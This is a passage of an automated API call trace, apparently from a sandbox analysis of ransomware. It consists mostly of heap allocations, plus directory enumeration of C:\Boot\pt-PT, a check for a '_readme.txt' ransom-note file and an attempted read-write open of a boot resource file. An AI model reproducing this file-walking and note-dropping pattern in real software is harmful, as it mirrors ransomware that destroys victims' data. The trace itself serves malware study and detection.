[0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.863] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.863] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.864] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.864] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.864] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.864] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.864] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.864] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.864] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.864] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.864] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.864] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.864] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.864] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.864] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.864] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0066.864] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.864] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.864] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.864] PathFindFileNameW (pszPath="") returned="" [0066.864] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.865] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.865] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.865] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.865] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.865] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.865] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.865] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0066.865] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0066.865] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.865] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3330b30, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3330b30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.865] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.865] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3330b30, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3330b30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.865] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.865] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0066.865] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.865] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.866] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3330b30, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3330b30, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3330b30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.866] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned=".txt" [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.866] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3330b30, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3330b30, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3330b30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.866] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.866] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.866] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.868] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.869] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.870] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.870] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 